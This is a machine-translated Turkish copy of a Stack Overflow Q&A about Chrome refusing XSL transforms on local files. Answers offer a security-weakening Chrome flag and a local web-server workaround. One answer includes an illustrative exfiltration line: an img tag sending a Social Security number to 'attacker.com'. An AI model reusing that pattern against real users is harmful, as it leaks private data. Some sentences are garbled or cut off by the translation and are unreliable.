Chrome, yerel bir dosyada XSL dönüşümü gerçekleştirecek şekilde yapılabilir mi?


91

Xslt'ye bakıyordum ve w3schools üzerindeki örneklerle test etmeye başladım.

Ancak, xml ve xsl'yi dosyalara kaydettiğimde ve bunları yerel olarak açmayı denediğimde, chrome xsl dönüşümünü gerçekleştirmiyor. Yalnızca boş bir sayfa gösterir.

<?xml-stylesheet type="text/xsl" href="style.xsl">Etiketi xml belgesine ekledim ve firefox onu görünmesi gerektiği gibi işliyor. Ayrıca, dosyalara bir web sunucusu üzerinden bakarsam, Chrome dosyayı bakması gerektiği gibi görüntüler.

Bağlantı yerel olduğunda Chrome'un stil sayfası bilgilerini bulmakta bir sorunu var mı? Href'i olarak değiştirmek file:///C:/xsl/style.xslherhangi bir fark yaratmadı.

Güncelleme: Bu, bir güvenlik politikasının file: /// * 'yi aynı kaynak olarak değerlendirmemesinin bir yan etkisi gibi görünüyor . Bu, konsolda aşağıdaki hatanın görünmesini sağlar:

URL dosyası: /// C: /xsl-rpg/style.xsl URL dosyası: /// C: /xsl-rpg/data.xml ile çerçeveden güvenli olmayan yükleme denemesi. Domainler, protokoller ve portlar uyuşmak zorunda.


1
Bu öyle büyük file:protokolü Krom aynı saha hatası atar.

1
IE11'de çalışıyor. Chrome kötüye gidiyor.
Marco Demaio

Yanıtlar:


74

Kısa cevap "Hayır, kullanımı biri tarayıcıların farklı kültürel orada" .

Bunun işe yaramamasının nedeni, Chrome'un HTML dosyalarının aynı dizindeki yerel XSLT dosyalarına erişmesini engelleyerek [1] [2] [3] [4] tartışmalı bir şekilde ele aldığı bir güvenlik endişesidir. dosyaları aynı dizindeki .CSS dosyalarına kolayca erişebilir.

Yukarıda belirtilen sorunlar karşısında, kullanıcılar daha net bir hata mesajı (etki alanları, protokoller ve bağlantı noktaları aslında eşleştiği için) veya en azından XML'i stil olmadan görüntüleyerek istediler. Chrome geliştiricileri bu istekleri görmezden geldi.


18
Güvenlik endişeleri anlamlı olsa da , XML dosyalarının XSL stil sayfalarını aynı dizinden yükleyebilmesi gerekir, tıpkı HTML dosyalarının aynı dizinden görüntüleri ve komut dosyalarını yükleyebilmesi gibi. Yıldız verebileceğiniz bir sorun var ancak Chrome geliştirici ekibi bu konuda yeni yorumları yasakladı - kullanıcıların yerel dosya kaynağının gevşetilmesini ne kadar kötü istediklerini ölçemediklerinden şikayet etmelerine rağmen.
Dan Dascalescu

1
İlginç bilgi: Mac'teki Safari (8.0) yerel XSLT ile gayet iyi çalışıyor, ancak iOS (8) simülatöründeki Safari (ve sanırım iOS'ta da) Chrome'daki gibi aynı hatayı alıyorum "Alanlar, protokoller ve bağlantı noktaları eşleşmeli. ". Ancak uygulamada UIWebView uygulayacaksam ve XML'i XSLT ile yüklersem her şey yolunda gider.
Paul Brewczynski

Görev krom tarayıcılarda belirli xslt oluşturmayı düzeltmek olduğunda başka bir tarayıcı kullanmanın küçük bir anlamı var ...
n611x007

Chromium ile çalışan bir yaklaşım, XSL dosyasını veri olarak XML dosyasına satır içi yapmaktır: metin / xsl URI.
EricLaw

58

Bunu, Chrome'un komut satırı bayraklarını kullanarak yerel olarak yapabilirsiniz.

Spesifik bayrak --allow-file-access-from-files

OS X'te: Terminal.app'den çalıştırın /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Windows'ta: komut isteminden çalıştırın %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Not: Şu anda çalışıyorsa muhtemelen Chrome'dan çıkmanız gerekecektir, aksi takdirde Ch


Bu, Windows 7'de benim için çalışmıyor gibi görünüyor. C:\Program Files (x86)\Google\Chrome\ApplicationChrome.exe'yi burada buldum: ve --allow-file-access-from-files komutu gayet iyi çalışıyor, ancak yerel XML belgem (bir yerel XSLT dosyası) görüntülenmez.
Rick, Monica'yı

2
Belki de windows görev yöneticisinde chrome.exe için çalışan tüm Windows işlemlerini elle öldürmeniz gerekir. Benim için bu işe yaradı.
Christian Schulzendorff

1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filesbenim için çalıştı. Açıkçası Chrome Canary'yi çalıştırıyorum. Bu komutu çalıştırdıktan sonra, yeni bir Chrome penceresi açmalı ve XSL Dönüşümünüzü gerçekleştirmenize izin vermelidir.
SeanLF

2
Windows 7'de daha hızlı: Pencere tuşu + R; "chrome --allow-file-access-from-files"; Giriş.
Aaron Campbell

Veya PowerShell'de (sizin için önceki kromları öldürür):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell

15

OP'ye bağlı kalmak istiyorsanız, yanıt Hayır'dır (diğerlerinin de belirttiği gibi), ancak sorunu çözmenin bir yolu, basit bir web sunucusu çalıştırmak ve Chrome'da http aracılığıyla dosyaları açmaktır. Python 2.x yüklüyse, şunu yazarak bir web sunucusu çalıştırabilirsiniz:

python -m SimpleHTTPServer

Veya python 3.x'te:

python3 -m http.server

ve ardından Chrome'da kullanarak dosyayı açın http://localhost:8000/yourfile.xml. Umarım sadece işinizi halletmek istersiniz ve dosyayı kullanarak açmak zorunda olmak çok önemli bir şey değildir.file://


3

Chrome Hata sayfasında biraz deşifre etmek gerekti - sorunun ne olduğunu ve neden herkesi kırmak yerine herkesi kırmayı seçtiklerini açıklamamaya çok hevesliler.

Sabit sürücümde bir yerde bir XML dosyam olduğunu varsayın , örneğin:

C: \ Kullanıcılar \ Ian \ Belgeler \ Vergiler \ StudioTaxReturn_2015.xml

Ve kötü niyetli bir varlık - bir şekilde - kötü amaçlı bir Xml dosyasını bilgisayarıma bırakmayı başardı, örneğin:

C: \ Kullanıcılar \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

TrojanVirusWorm.xml dosyasının bir stil sayfası İşleme Talimatı ( PI ) içerdiğini düşünün :

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

Saldırgan daha sonra tarayıcıma yerel olarak kaydedilmiş trojanVirusWorm.xmldosyaya gitme talimatı veriyor .

Görünüşe göre bir XML dosyasının XSD dosyasının içeriğini okuyabilmesinin bir yolu var (XSD dosyası tarafından dönüştürülmek yerine):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Bir XML dosyasının bir stil sayfası dosyasını nasıl okuyabileceğini anlamıyorum. Ancak Chrome ekibi bize bunun bir tehlike olduğu ve çözülemeyeceği konusunda güvence veriyor.

Diğer tüm tarayıcılar bunu çözdü. Bunu çözdüler çünkü sorun değil .


3

Bir xsl dosyasına göre bir xml görmek için geçici çözümüm

Başlıklar içeren bir some_file.xml'imiz olduğunu varsayalım:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Dosyayı indirip https://some-site.com/Common.xslyanına yerleştiriyoruzsome_file.xml
  2. Başlığımızın bir kısmını yerine olarak href="https://some-site.com/Common.xsl"değiştirin href="http://localhost:8001/Common.xsl"
  3. Dosyalarımızla dizinde çalıştırın - python3 -m http.server 8001
  4. Herhangi bir tarayıcıda açın http://localhost:8001/some_file.xml

0

Tarayıcı ayarlarınızı değiştirerek Chrome'un XSL dosyasını oluşturmasını sağlayabilirsiniz. Daha güvenli bir yaklaşım, ona Visual Studio Code Live Server veya Apache gibi yerel bir web sunucusu aracılığıyla erişmek olacaktır. Adımlar için XSLT Yerel Dosyalarda Görüntülenmeyecek bölümüne bakın .

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.